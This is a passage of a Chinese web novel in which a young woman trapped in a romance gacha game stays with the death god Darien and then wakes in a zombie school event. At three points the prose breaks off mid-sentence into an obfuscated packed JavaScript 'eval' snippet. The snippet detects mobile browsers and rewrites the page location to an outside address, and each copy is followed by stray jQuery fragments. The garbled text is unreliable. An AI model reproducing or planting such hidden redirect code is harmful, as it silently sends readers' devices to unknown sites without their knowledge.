达里恩挑了挑眉，紫水晶眼眸中的不解之意越发深重：“你知道吗？这番话听起来有点像……” “你是我的‘狂热粉丝’？” “呃……” “不是你想象中的那种卡啊！”柳莳萌哀嚎了一声。他该不会以为这个卡是什么“收藏款写真小卡”吧？ “咳咳，那不然是什么？” “请务必解释一下你所说的话。”达里恩低下头，他捂住嘴，没有烧伤痕迹的那半边脸开始泛红，不小心泄露了主人的错愕和羞愧。 又不能明说是游戏卡，这样要解释的东西就太多了。达里恩机敏警惕，肯定会挑出毛病来问，那样就没完没了了，愁人。 柳莳萌转念一想，换了一种说法，“是启示卡。” “类似于高阶神明的启示录，它可以跨越世界的限/制，将与我有缘的异界人的身影倒映在卡片中，指引我追寻到他。” “启示卡能帮助我过来，却没办法帮助我回去。就这样，我被困在了你的世界里。” “我和这个世界的高阶神明达成了某种‘交易’，想要回家，只有你的力量能够帮助我。” 柳莳萌想起达里恩在游戏里也是一个死神。 被分拨在银黑色阵营边缘，他有挂心人类的一面，虽然没有表露在明面上，但极可能会担心自己的力量被肆意滥用。 “不用担心，只要我能够回到我的世界，你所在的世界会恢复如初，不会发生任何不好的变化。” “我大概明白了。” 这时，达里恩才松了一口气。 他抬眼，锐利的目光直指她的心脏，刹那间，柳莳萌感觉自己的心口被恶鬼强压住了。 “你是……还打算问我什么吗？”她攥紧手，像一个正在接受审讯的犯人，她不可能再告诉他更多了，包括游戏之神与主线面板。 无论达里恩问多少，她都打算供认不讳。 “不。” “如果你刚刚对我说的话里有一句谎言，你的心脏就会爆掉。”达里恩郑重其事，不像假的。 “我会帮你的。” “好啊。”终于等来了这句话，柳莳萌迫不及待地抬起拳头，“在正式认识之前……我可以先打你一下吗？” 她现在非常愤怒，对这个听不懂人话的呆瓜死神感到绝望。 “……” 达里恩没有接话，但他点了点头。 倘若早在两人见面之前她就已经认识了自己，那他还有什么理由拒绝她的请求。即便她是外来者，但同时，她也是一个他毅然决然选择出手救下的人。 他毫无由来地担忧这个人的生死。 哪怕命运与时空在他们之间交错，角力残酷无比，当下的每个瞬间，他都想牵着她的手，跨越过那条属于他的河流。 5. 专注抽卡一百年5 “达里恩，我问你。” “在你的认知中一个人类，同时她是一个外来者，如果没有安稳的住所，最后的下场会是怎样？”柳莳萌频频扭头，对他抛去最直白浅显的眼神。 但因为死神在游戏里的身高设定太高了，高达一米九的个子让他连人的头顶都看不见。 “会风餐露宿吧。” 达里恩脱口而出。 “哪有这么简单！” 她交叠双臂，抱住弱小可怜又无助的自己的身体，“流落街头，如果晚上很冷，她很可能会被冻死；如果被撵到马路边，她很可能会被车撞死，在这里没有一个她认识的人，会饿死，会渴死，会孤独死……” “嗯……”无需多言，达里恩已经知道她口中的这个人类意有所指，“可你不是还有‘面板’吗？” 高阶神明的使徒理应与祂一样全能。 “它啊——”柳莳萌露出凶像，张牙舞爪道，“它和它的主人一样冷漠！无情！蔫坏！” 一觉睡醒就把她丢在这里，连口水都不给就跑了，像什么游戏之神，分明是生存之神还差不多！ 屈指收回爪子，柳莳萌抿嘴，缓缓看向达里恩，她发现：与游戏不同，这时候的死神已经可以读懂眼神了。 光读懂，不说话，闷葫芦一个，浪费表情。 “啧，回句话啊。”柳莳萌不满地叉腰。 在达里恩眼中，这个外来者就像一只流离失所的小野猫，不仅要给房住，给食吃，还要顺毛哄才能好。他的确也伸出手去，摸了摸她的脑袋瓜。 她干脆停了下来，在步行街上和他干瞪眼。 一个奇怪的外来者，达里恩在心里犯嘀咕，嘴上却一本正经地说着截然不同的话。 “我带你回家。” ...... 【第零章主线剧情，第二节】 【死神见到死去的少女后，对“她”生出了本不该存在的感情，他收回手，没有遵循法则收走这个人类的死魂。】 【“她”感觉自己的灵魂在空中震荡，像只玻璃器皿一样易碎。眼看少女的灵魂越发衰弱，死神告知了她一件事情：为了隐藏身份，死神们相互约定好在人群中不使用能力，在他能够使用能力前需要她委屈一下。】 【他向她保证：这一切都只会是暂时的…】 按照序章的设定，达里恩也无法使用他的能力。于是，柳莳萌只能和他搭车来到了这个偏远而又僻静的家。 她只知道芳汀住在湖心的别苑里，而这里更像是高级住宅区。 “好，我要在这里待五天！”柳莳萌拧开门把手。 作为一个无意间闯入进这个世界的外来者，她除了那个抽卡用的星月宝匣以外几乎一无所有。 毫无疑问，这里就是最适合安居的地方。抱着这样的心态，柳莳萌兴奋地推门走了进去。 很快，她大失所望。 两张长沙发入目，温暖明亮的落地大窗将阳光精准地洒向整整齐齐的橱柜，桌面空无一物，地板纤尘不染，没有经过任何精心排布，没有丝毫人烟气息，好像就是刚装修完那会儿的样子。 甚至在门口张贴“整屋出租”都不会让人起疑。 “我……我要在这里待五天？”柳莳萌反问他。 “别担心，平时我不怎么回家，东西都收进仓库里了。”达里恩推开了小隔间的门，所有大件家具都用白色塑料膜包裹住，而小件家具都收进了纸皮箱里，东西还不少。 “先把东西收拾一下，你等我一个小时。” 什么！要等一个小时？柳莳萌还没忘记达里恩是一个死神，可他本人似乎已经忘记了…… 不，不对！ 她突然想起：在这个游戏里，死神获得能力的唯一途径是“玩家抽取的卡片”。 而在序章里，玩家正是在“抽卡功能”上线后，用星月宝匣许下一次必得SR的邂逅心愿，死神才向玩家露出了他的本相。 难道这就是奖励道具的正确使用方法？ 心动不如行动，柳莳萌坐在沙发上，立马使用了一张邂逅卷轴。 【获得：SR·绝密行动】 与名字不相符的是，这是一张日常卡。 白衬衣，黑西装，非常简洁经典的商务穿搭，解开双排扣外衣，微敞开的内衬之下却是几条绑带，固定住了便携式口袋和小巧的通讯器。 他站在璀璨大厦的天台上仰望夜空，这和现在的达里恩一模一样。 “你在看什么？” 柳莳萌抬头，看见达里恩挽起衣袖往外走。他没有卡面上那么潇洒帅气了，手上正抱着三个大纸箱，黑头发乱糟糟的，看起来有点像铁憨憨。 哎哟……闷葫芦还是一个求知欲旺盛的好奇鬼呢。 “在看你。” 她竖起食指，指了指他，“现在你应该可以使用死神的能力了。”达里恩愣了一小下，微微睁圆的扁杏眼里流露出恍然大悟的情绪，“难怪我刚刚觉得身体轻松了许多……” 他放下纸箱，站在原地打了一个响指。 纸箱胶带被裁剪开，仿佛冷风裁尘，它顺着门缝钻进小隔间里，一眨眼功夫，时间逆流，所有东西回归原位。 “都收拾好了。” “还有其他的需要就和我说。”不多过问柳莳萌的事情，说完，达里恩转身向外走去。 “站住！你去哪里？” 柳莳萌不知道达里恩为什么这么着急出门，还有刚才他口中的那句‘不经常回家’，难道玩家遇见的是一个不常回家的“渣男”吗？ 若果真如此，那她可不能坐视不理。 毕竟游戏之外，可是有千千万万个毫不知情的玩家。 柳莳萌：渣了千千万万颗心的男人罪恶滔天，哪怕是个死神，都要按我国十大酷刑中的车裂论处！不不不，车裂了他也死不了，要先凌迟！再自宫！ “怎么了？” 达里恩还不知道她心中的歹毒想法，“你还有什么其他的需要吗？” “有，你给我站在原地等着。”柳莳萌小跑到他身前。 抓住男人西装外套的边缘，她的声音很轻，好像在说什么不可为神意窥探的天大秘密。 “我想问：你这么着急出去……是不是‘外面有人’了？” “嗯。” 他竟然承认了。 达里恩：“外面有很多人都在等我。” “不过我不去，他们也不会有多少危险，最多就是顶头的那一个小雇主会不满意。”他将电线绕至耳后，捏了一下耳朵，打开了通讯器的信号。 “而整个高级小区里的人都是我的大雇主，一共二百零一户。” 柳莳萌震惊地松开手，转而遮住嘴：“你、你叫他们‘雇主’？你在星月城市里的身份难道是……” “保镖。”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15108898|164028||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 回答并无二致，他们的声音渐渐重合在一起。柳莳萌还有很多想问的话，但她觉得自己也没有必要了解太多，反正后面慢慢都会知道的。 这时，达里恩直接将耳机连带着通讯器一齐扯了出来。 “不是专职保护人的那一种。” “这个小区里大部分人是需要秘密保护的公众人物，也有黑色地带里罪恶滔天的集团巨鳄，无论他们是什么样的人……又为什么需要别人保护……其实我并不关心。” “我只是需要一个能够融入进这里的身份。” 她小声问，他便贴近了小声回。 只有两个人才知道的窃窃私语，小声到连通讯器都接收不到。 达里恩解开带扣，将身上多余的装备卸了下来，通讯器里传来紧急拨叫的信号，他没有理会：“别吵了，我今天请假。” “确认一下假期吧？我攒下来的年假起码有三四个……” 他平淡地回复。 反倒是对面，嘈杂急切的忙音根本听不清楚内容，听语气像是在不满地斥责他。 原来是通讯器里的人一直在催他离开，不是他主动想走啊……柳莳萌恍然大悟。 她替达里恩鸣不平，不满地嘟哝一句：“真是欠收拾，在这里当死神怎么这么委屈？” “不委屈。”他回。 “我能看到他的生命只延续到了今天。”达里恩像个没事人一样耸肩，“他应该是恰巧得罪了其他死神。” “他是不是叫‘牛大石’？” “是。”达里恩点头。 柳莳萌知道这个“其他死神”是谁。 序章里玩家在抽到第一张固定SR后，死去的少女借助死神逆天的力量死而复生，一个男路人甲看见她这个无依无靠的美少女站在马路边上后趁机冲上来骚扰她，也被死神用他的力量收拾掉了，而这个男路人甲就是“牛大石”！ 他不是得罪了死神，他是得罪了本世界唯一真神“游戏玩家”啊！ *** “站着说了这么多，不腰疼吗？” “坐下吧坐下吧。”柳莳萌朝他招手。 达里恩：“？” “这里好像是我家，按照你们人类的礼仪，不应该是主人叫客人坐下吗，怎么是客人叫主人坐下……” 虽然嘴上在质疑她，但他还是坐在了柳莳萌对面的沙发上。 “什么主人和客人都不重要。”柳莳萌仰头倒在沙发上，“这几天呢，我们吃好喝好玩好，充分放松、充分休息就行了。” “五天后，这个家就不能住啦。” “什么？”达里恩还从来没听说过这种事情。 他皱眉：“这是我的家，什么时候轮到你来决定住与不住了？” 柳莳萌愣住：“你生气了？” 这时候的达里恩看上去总算有点像置人于死地的死神了，但他为什么冲她发火啊？ “别气别气！”转念一想，柳莳萌理解了。会恼羞成怒也很正常，因为这个家是个人支线中与玩家蜜里调油的婚房…… 柳莳萌眯起眼，心中突然起了坏心思。 她模仿超人气角色芳汀的狂热追随者n/p/c，坐在对面的沙发上隔空向他喊话：“达、里、恩、大、人——！” 这回换达里恩愣住了。 “不瞒你说！” “这座城市五天后就是‘世界末日’啦！” 6. 末世校园加载中1 “既然你都说了几天之后就是世界末日，那就吃好一点。” 达里恩将一个盘子放在桌上，推到她的面前。柳莳萌定睛一看：是牛排，是最细嫩可口的三分熟牛眼肉，还知道配上黑胡椒和欧芹，有品味，至于那颗西蓝花……差评！ “你怎么会知道这些？” 他没有虐待人类的喜好，但坐在对面的人类少女总是有捉弄他的取向。 柳莳萌抬起叉子，叉尖亮出一丝银光，像闪电那般刺向他：“我就是知道！” “因为在来这里之前，我是一个很厉害的人！” “哦。”达里恩面上淡然，但他不合时宜地交叠起双手，显然是对她的话深表怀疑。 柳莳萌摆了摆手：“其他的你也别问我了，因为我记的不是很清楚了……” 第一次活动是“与里弗”限定概率提升，活动剧情也只与金黑色阵营有关。没有芳汀，她只认真看了开头，其余的部分几乎是能跳则跳。 说完，柳莳萌用刀叉给达里恩分了一半。 她可要好好照顾这位哥，说不定游戏之神看到他们之间这么平淡如水，觉得无聊，就将她提前送回现实世界了呢。 “你吃吧。”达里恩推了回去，“我不需要吃饭。” “平时会吃是因为要在人间伪装，不吃会让别人起疑心，而且，你之前说自己不吃饭有可能会饿死。” 柳莳萌心头一哽，反驳道：“说什么呢！那还不是为了蹭……饿急了说胡话么，我没有那么弱不禁风好不好！” “要真饿一顿就死翘翘了，还怎么在之后的活……世界末日里活下去啊？”她是绝对不会承认自己只是想来死神家蹭吃蹭喝的。 达里恩支肘托腮，他深思熟虑，已然在思考“末世下安全生存的可能性”，但他思考后得出的结论能让她气个半死。 “你说的对。” “按照你的身高，女性人类的体重普遍在35左右，而男性人类的体重普遍在40到42之间，而你的……” “闭嘴啊！” “你们的体重才是轻到不正常呢！我这是正常的！正常的！”柳莳萌气急败坏，叉起那颗西蓝花放进嘴里乱啃一通出气。 她突然发现：达里恩虽然长相凶恶但是脾气很好。 就算她刚刚那样冲他发火，气到差点摔盘子、甩叉子，他也只是笑笑不说话，就那样过去了。 “到点了。” 达里恩望向窗外。 几缕闪烁的星火笔直升起，坠入夜空。 荧光乍现，他们看着那条烟青色尾巴消失不见，随后，桃心状的银屑像雪花，轻飘飘地从霓虹灯中间落下。 星月城市一到晚上九点整就会燃放烟花。 准时准点，每天不歇，日日夜夜为光临这座城市的人带来别致关怀的温馨感受。 “温情” 柳莳萌太熟悉这种感觉。但当她回过神来时，她并不觉得达里恩是抱着这样一种心情在看那些花火。 “真美，你不这么觉得吗？” 更像是一个旁观者的眼睛，他的双眸静谧而又深邃，像望不见尽头的绵延河川，徒留紫色光电在河面上随微澜涌动。 只要没有那些烧伤的疤痕，想必达里恩应该就是所有角色里最符合她喜好的人了……柳莳萌心想。 “真可惜。” 她一愣，发现说话的人并不是自己。达里恩的目光停留在窗外，但余光还驻足在屋里，“你应该和你喜欢的人来欣赏这些景色。” 不该是他。 因为煞风景，美丽的事物与他并不相称。 “不，哥，那样正好！”柳莳萌按住他的肩膀郑重道，“如果你长的太好看会严重影响我的发挥。” 她可是要好好完成任务回到现实中去的人，颜值只会影响她通关的速度！ 达里恩：“……哦。” 他该怎么理解这句话？他可不可以认为，她还没有遇见喜欢的人，又或者是她并不介意对面的那个人是他。 *** 五天后。 “在零点之前——” “让我先来抽一张卡吧！” 今天就是自由活动时间的最后一天了，柳莳萌手里的道具只有一个“邂逅卷轴”，而她到现在都不知道这个道具有什么作用。 好像真如达里恩所说，她只是一个纯粹在收藏他的狂热粉丝。 柳莳萌也逐渐习惯了自己的人设，她甚至可以给自己洗脑：达里恩多好啊，安静不聒噪，话少很可靠，去哪里能找到这样一款情绪稳定的队友啊！ 这时，她听见了一声特殊系统音。 【获得：SSR·我即地狱】 【人类终究是给神留下了不可磨灭的伤痕，死神孤单地弥留在了都市里，他忘记了自己留下来的理由。在这里，他是一头凶恶的野兽，是亡魂的牧羊人。】 【*卡面故事无法查看，需通关与死神同行后解锁】 【身处无间地狱之人，当会忍受地狱烈火炙烤，求生不得求死不能，种种苦难加诸于身——死神代理人“柳莳萌”扣除气运，抽卡系统概率全部重置，SSR、SR抽取概率极大降低（96小时后恢复），换来专属道具“临行的馈赠”。】 【获得达里恩专属道具：临行的馈赠×1，使用后可激活“换装系统”与“战斗系统”。】 “……我去。” 柳莳萌内心大受震撼，她的运气真的是差到了极点才会抽/出这张虐恋卡吧。 “但是也不算太差，起码出来了一个我没有的道具，还可以激活新的系统。”她心中默念一声，手中便出现了一个黑色的盒子。 长方形的黑盒子用紫色的丝绸缎带包裹好，沉甸甸的，不知道里面装了些什么东西。 柳莳萌解开缎带，打开盒子，发现里面是一把锈迹斑斑的长剑。通体墨色，赤色的业火剑纹延伸到最末端，剑背还刻上了达里恩的名字，她对比了一下，发现和“我即地狱”卡面里的是同一把。 “真不公平。” 她非常不满。 为什么只有死神才有武器，她怎么什么都没有！ ...... 此时，达里恩在沙发上猫着腰小憩。因为卧室的整张大床被柳莳萌占领了，他这几天都被迫待在这个地方装睡。 死神原本是不需要睡觉的，但经柳莳萌劝说下，他逐渐接受了“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15108899|164028||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 睡觉对身体有好处，要睡够觉才能够精神饱满地迎来新的一天”的这一事实。 虽然无论怎么看都只是人类的一面之词，达里恩一个字都没听进去，但他还是照做了。不光是早已看破了她的无聊，他还知道：她只是在等待着那一个时刻而已。 听到房间里传来响动，达里恩迅速睁开眼睛。 微不可察的一声叹息，银河般的眸光流转。 他搞不懂：外来者倒更像是一个毁天灭地的死神。那她到底为什么而来到这里？又为什么会需要他的帮助？ 达里恩撑单臂起身，看见柳莳萌气冲冲地从房间里走出来，手里还抱着一把长剑。 “这是给你的。” 她将长剑递到他手里。 “为什么要给我这个？”达里恩匆匆扫过一眼，在他眼里，她远比自己更需要防身的武器。柳莳萌思索了一下，笑着答，“算是我给你的见面礼吧？” “跟着姐混的人，姐肯定也不会让他吃亏的！” 达里恩：“哦。” 真按照年龄算，他应该比面前的人类年长上很多，但又何必拘泥于人类的礼节？神应当比人更宽宏大度一些，他心想，所以，他应该要起来感谢她吗？ 可为什么……达里恩心中突然有了一种不详的预感。 他抬头，看见空中的月亮变成一轮血月，浓重的夜雾像传播疫病的毒气从远方奔袭而至，所有的时间被冻结，整个世界像是被谁按下了暂停键，重启…… 柳莳萌抬头，她看见了主线面板所说的活动面板。 没有任何多余的解释，它无情而又冷漠地缓慢滚动着，用最简短的文字让她丧失掉所有信心。 【正在载入活动剧情：返校日】 【载入完成。】 透明面板一亮，变成了她不熟悉的黑灰色。 【现在发布活动剧情任务：在剧情中存活，即成功活过72个小时。活动奖励：道具“一次心跳”×1，失败惩罚：回到初始状态。】 【特殊任务：在五千名师生中找到并救下“伍子寒”，特殊奖励：激活签到系统，无失败惩罚。】 “我都看明白了，可是……”柳莳萌向活动面板发出灵魂疑问，“这个突然跳出来的抽卡界面又是怎么回事啊？” 【死神代理的“活动角色身份”需通过抽卡系统获得。】 【可选身份有：SSR双商极高的学生会副会长，SR人气交际王拉拉队队长，R精力充沛的宣传社社员，F一名普通在校学生】 【注：抽卡系统概率已重置，SSR、SR抽取概率极大降低，已不在死神代理能够抽取到的合理范畴，自动屏蔽。】 “什么？！”柳莳萌万万没想到这抽卡系统的负面影响居然还是会继承的。她摇了摇头，“不不不，就算当不成学生会会长和拉拉队队长，当个宣传社社员也是可以的。” “会有那种可能性吗？”柳莳萌举手问。 【有，百分之五。】 “……多少？？？” 她怀疑自己的眼睛出现了问题。 【百分之五。】 柳莳萌：“……” “你好，给我来一张F。” 7. 末世校园加载中2 【这本是一个和平的前夜，所有人都在梦中安睡，包括早早返回寝室的学生。】 【少女躺在双层床的上铺辗转反侧，像是陷入了一场噩梦。她梦见自己死了，死在了成人礼后。但她现在还没毕业呢。】 【没关系的，这只是一场梦而已，少女如此安慰自己。她拍拍胸/口，继续沉沉睡去……这时，少女感觉到有人拍了拍自己的肩膀。】 【无需睁眼，她已经知晓了来人的名字。】 【与里弗，一位死神，他看着她沉默不语。】 【而她，一个本该在未来死去的人，却在过去的某一刻间无意知晓了自己的命数。她以为与里弗平日只是嫌她聒噪，原来从这时起，他就在试图拯救自己的生命。】 【违抗了生死法则的旨意，围绕在她身边的亲密之人的生死因此全部颠倒，生人死去，死魂复生……少女牵起与里弗的手，急切地恳求他：如果你是死神的话，就帮我一起拯救他们吧！】 ——活动剧情【返校日】，开启。 柳莳萌之前仔细看过前置剧情，这段她还记得。 当时，她主推的芳汀卡被肝力一口气拉至满级，没什么压力就看完了返校日。最后的结局是与里弗为了心爱的少女，与一众死神合力救下全校人的HappyEnding，而这个过程正好是72个小时。 但成为了身处在游戏之中的炮灰，留给她的就不是理所当然的好结局了。 回顾了一遍“活动剧情”，柳莳萌还需要知道自己的“活动角色身份”是什么。她在心中默念，可透明面板并没有如约出现。 “呃……该不会是下线了吧？” 可恶，活动面板果然和主线面板所说的一样不靠谱！ “算了，求一块冷漠的板板不如多求求自己。” 面板没有出现，意味着这段时间里没有剧情，至少她可以不受剧情影响，安心寻找身份线索。 柳莳萌起身，指尖碰触到了温热的被褥。她扭头，发现自己就躺在玩家睡的那张双层床上。而她睡在下铺，与玩家的身份巧妙地错开了。 周围传来酣睡的呓语。 有同学睡的并不安稳，差点被她的小动作吵醒。柳莳萌悄悄下了床，她顺着床沿一路摸索，没记错的话，每张宿舍床的边缘都会贴上白色标签贴。 为了方便新生认床，入学前就会贴好。 果然，找到了！ “哦？” “原来我在游戏里也叫‘柳莳萌’啊？”柳莳萌的手刚一碰上标签，只有她才能看见的光点自指腹心缓缓浮现、汇聚，沿着指骨平行展开。 锦色流光组成了新的透明面板——身份信息面板。 【柳莳萌，角色身份等级：F】 【一名普通的在校学生，品行端正，无不良嗜好。】 到这里为止，一切都是那么的正常，但当柳莳萌看到后面，她傻眼了。 【孱弱，患有先天性哮喘疾病，无法长时间奔跑。负面效果：当体力值为0时，柳莳萌只能行走，不可奔跑；若强行奔跑，柳莳萌的角色状态将切换为“死亡”。】 搞错没有？在这个剧情，在这种地方还不给跑，简直是必死无疑的好吧！柳莳萌闭紧双眼，不愿再看一眼。 但这还没完。 【敏感，因为哮喘疾病，导致性格十分自卑，在校内没有什么好朋友。负面效果：无法通过“身份信息面板”得知其他角色信息。】 啊？？？ 那一刻，柳莳萌悬着的心彻底死了。 “那我还怎么在五千名师生里找到伍子寒？” 天色尚晚，周围漆黑一片，伸手不见五指，柳莳萌摸黑走到寝室门前，搭上把手，推门走了出去。 【圣尼塔学院，首席寝室楼，四楼403】 这所学院的设定是私立贵族学校，寝室楼也是修建的十分豪华。出了门就是走廊，走廊外可以看见遮天蔽日的槐树和圆形花圃，像空中楼阁的露天阳台一样，穿过中间的走廊，就到了寝室楼的另一幢。 每幢六层，幢幢相连，按照首席、次席、末席的方式排列，房间少说上百个。 柳莳萌随意打量了一眼，很快就发现造访每个房间去寻找伍子寒是一个不可能完成的任务。如果她没有记错的话，今晚接近黎明就会出现新的状况。 完成特殊任务是次要的事情，她最先要做的是“存活下来”。 “奇怪……” “死神呢？” 柳莳萌本以为死神来到活动剧情后会与她刷新在同一个地点，可她沿着走廊，逛遍了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15108900|164028||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 寝室楼四层，都没有发现达里恩的身影。 “他该不会因为游戏设定原因……出不来吧？！”她心中一惊。 ——冷静！ 就算没有死神，这次活动会刷新的怪物她都见过。只要发现有任何不对劲的地方，赶紧跑就没事了！柳莳萌握紧拳头。 “呼，了解完角色身份，接下去就是角色能力了。” 柳莳萌又将身份信息面板的内容从前至后仔细察看了一遍，她发现：目前除了跑步需要的“体力值”外，没有任何额外的信息。 “那个……” “同学……你是有哪里不舒服吗？” 一个穿着睡衣的女生打着手机手电筒，出现在她的身后。她满脸关切，眼神忧心忡忡。 糟糕！柳莳萌忘记自己的身份是在校生了。 她三更半夜不睡觉，以沉思者的姿态站在走廊中央，肯定会引起其他同学的怀疑。 “我……”她刚想开口，发现身体无法动弹，手心闪动过一丝亮光。 柳莳萌：怎么回事？ 抽卡系统居然不靠她的指令，自动激活了？ 【触发活动日常事件，事件成功与失败需通过抽卡系统获得。】 【请抽取“成功卡”与“失败卡”。正面效果触发，理智＞50，“成功卡”概率大幅度提升。判定成功，可以对话。】 “我……我是，”柳莳萌的大脑飞速运转，“我没有哪里不舒服，大晚上睡不着就出来转一转。” 手电筒女生心中了然，她微笑着点了点头：“哦，因为今天返校吗？我们寝室也有人因为想爸爸妈妈睡不着觉呢。” “你们寝室里有没有一个名叫‘伍子寒’的人？”柳莳萌抓住手电筒女孩的手臂，激动问道，“或许！你在学校认识一个叫‘伍子寒’的人吗？” 这该死的乙女游戏！ 处处都要抽卡真是不给人一条活路！她有一种强烈的预感：想要成功存活过72个小时，奖励里的那个“签到系统”她必须要拿到手！ “不认识诶。”手电筒女生摇了摇头，但她告诉了柳莳萌一个重要的线索。 “想要找人的话，可以去一楼寝室管理员的房间。”她指了指走廊尽头。 “那里有一本住校生的花名册。” 8. 末世校园加载中3 那位手电筒女生与柳莳萌说完话后就以“上洗手间”为由先行离开了。 与她分别之后，柳莳萌独自一人来到一楼。 穿越漆黑的廊道，月光洒向墙壁，她的人影像钢琴黑键安静地从高敲至最低阶，这里死一般寂静。 “寝室管理员的房间在走廊尽头……”柳莳萌嘴里念念有词，一边确认，一边来到了尽头的房间。即便被夜涂上浓重的深黑色，也能看得出来是扇墨绿色的大门。 绿色往往意味着“安全”，但留给她的时间不多了。 门上了锁，打不开。 好在窗户没有锁，她可以越过窗台进入房间。 她很轻松地翻过窗户，踩着椅子安全走下。 而住校生的花名册就放在椅子前的办公桌上。 册子不厚不薄，里面的几千个人名够她忙活的了。 卷起边角，柳莳萌随意翻动几页，很快发现了一个新的问题：月色太暗，凭借着昏暗的月光，她根本无法看清花名册上密密麻麻的小字。她头痛地揉了揉太阳穴：“要是有光就好了，没有光，有点火也行啊……” “你要什么火？” “红的，黄的，橙的，绿的，蓝的，紫的……” 柳莳萌倒吸了一口凉气，她差点以为自己见鬼了！ “达里恩！既然来了为什么不早点出现！” “还有……你这是在干什么，报菜名呢！要红的，红的就够用了！”她想到自己的声音可能会把奇奇怪怪的人引来，最后只是让自己的左手代替达里恩，气愤地拍了一下自己。 “唰”地一下—— 红色的小火苗出现在柳莳萌身侧，它的尾巴与普通火焰不同，蛇形的尾尖，像地狱火一样蜿蜒，火芯不断折返于顶部与底部之间，永恒地燃烧着。 “你搞错了，我没有来。”达里恩解释道。 “当然我也无法出现在你的身边。” “什么？”柳莳萌愣住了，“那你怎么知道我需要帮忙？” “因为听到了你的声音。” “……” 仔细想想，她对死神知之甚少，对达里恩这位死神更是没有太多关心。但现在情况不太一样了，她似乎要试着……慢慢去了解他。 柳莳萌停下手中的动作，“你知道自己为什么过不来吗？或许我可以在这里帮你。” 达里恩“噗嗤”一笑。 她甚至能够想象到他的模样：微弯起的柳叶眼，深邃的落日余晖，会变成两只钩子，直勾勾地盯着人看，平粗的眉缘却会压低，安稳地降落在附近。那会是一个危险，却又令人安心的表情。 “现在你比我更需要接受帮助。” “那里的气息非常不对劲，我会尽快赶过去。” ...... 达里恩仰起头。 他环视四周，这里看不见柳莳萌所说的学校，也看不见管理员的房间。一堵黑色的高墙挡住了他的去路，无论他走到哪里，高墙如影随形。 白色的文字逐渐在墙面上浮现。 【即便她是一个外来者，你还要帮助她？】 【不要误会这份错位的关系，不要被卷进漩涡之中。】 【她所遭遇的一切都和你没有任何关系。】 “难道这就是所谓的‘面板’吗？”看来高阶神明的使者也只是一个背信弃义的小人，不过如此。 达里恩低下头，平静地抚摸着锈迹斑斑的长剑。每过一寸，业火就像被剥落的墙灰，掉在地上，燃烧殆尽。 一直好奇的事物此刻就在面前，他还可以接着问它更多，或许，它还可以解答自己的事，还有自己心中那份长久的空虚，与漂泊不定的感情。 “我不会被卷进去。”达里恩清楚记得，他的每一次行动都是出于自己的意志。 “没有误会，但我也不会选择袖手旁观。” 【……因为是“她”吗？】 他和他的剑向前一步，世界颠倒，高墙逐渐成为身后斜长的背影。临行前，达里恩留下了最后一句话：“因为突然想起来了某些不愉快的记忆。” 那些记忆组成了他的力量源泉，属于他的馈赠。 “没有外来者，没有神明，没有奇奇怪怪的遭遇，我原本就是一个给生命带去死亡的死神。” ...... 凭借着达里恩送的地狱火，柳莳萌将花名册翻看了一遍，可无论她怎么找，都没有从这份名单上找到“伍子寒”这个人。 “难道她并不是学生？而是老师，或者是其他的人！” 【返校日第一节：“你”睁开眼睛，因为感到口干舌燥，“你”走下床喝水。】 【很快，“你”发现寝室里的同学有些不太对劲。她们趴在床上一动不动，身体没有任何起伏，像是失去了呼吸。“你”哑着嗓子开口，小声叫了她们的名字，她们没有回话，反而是肩膀先诡异地动弹了一下……】 活动面板出现，柳莳萌所处的时间随之而流动。 首席寝室楼尚在睡梦中的同学都变成了一具具行尸走肉，她庆幸自己提前来到了一楼。在这里，能够逃跑的方向比较多。 “但是现在要逃去哪里才比较安全呢？” 这是一个值得思考的问题。柳莳萌踩着椅子，准备沿窗台原路折返，这时，一只手扼住了她的脚踝。 那只手冷冰冰的，没有丝毫体温，她唯一能感受到的体征便是粗粝且厚实的老茧，是经常写字才会留下的。 “你是……寝室管理员？！”柳莳萌扭头，对上了一双昏黄浑浊的眼睛。 寝室管理员的眼睛无神，扩大的眼白挤压着眼瞳，将它挤扁至眼眶，整只眼睛都像是要从眼眶中掉下来。 【触发活动日常事件，事件成功与失败需通过抽卡系统获得。】 “啊？” 【请抽取“成功”与“失败”。正面效果触发，理智＞50，“成功”概率大幅度提升。判定成功，可以对话。】 柳莳萌闭眼哀嚎：“等等等一下！这个日常事件太不合理了吧！” “谁要和没有理智的丧尸怪物对话啊！！！” 【死神代理请知悉，与活动主要角色初次对话为强制日常事件，必定触发。】 “主要角色？呵呵，这倒是……” “这里除了这些角色，就没别人了吧。” 毕竟为了让与里弗在玩家面前出尽风头，寝室楼里全是密密麻麻的丧尸。他一出场，就是抱着玩家从汹涌的尸潮中杀出生路，战神之姿，好不威风。 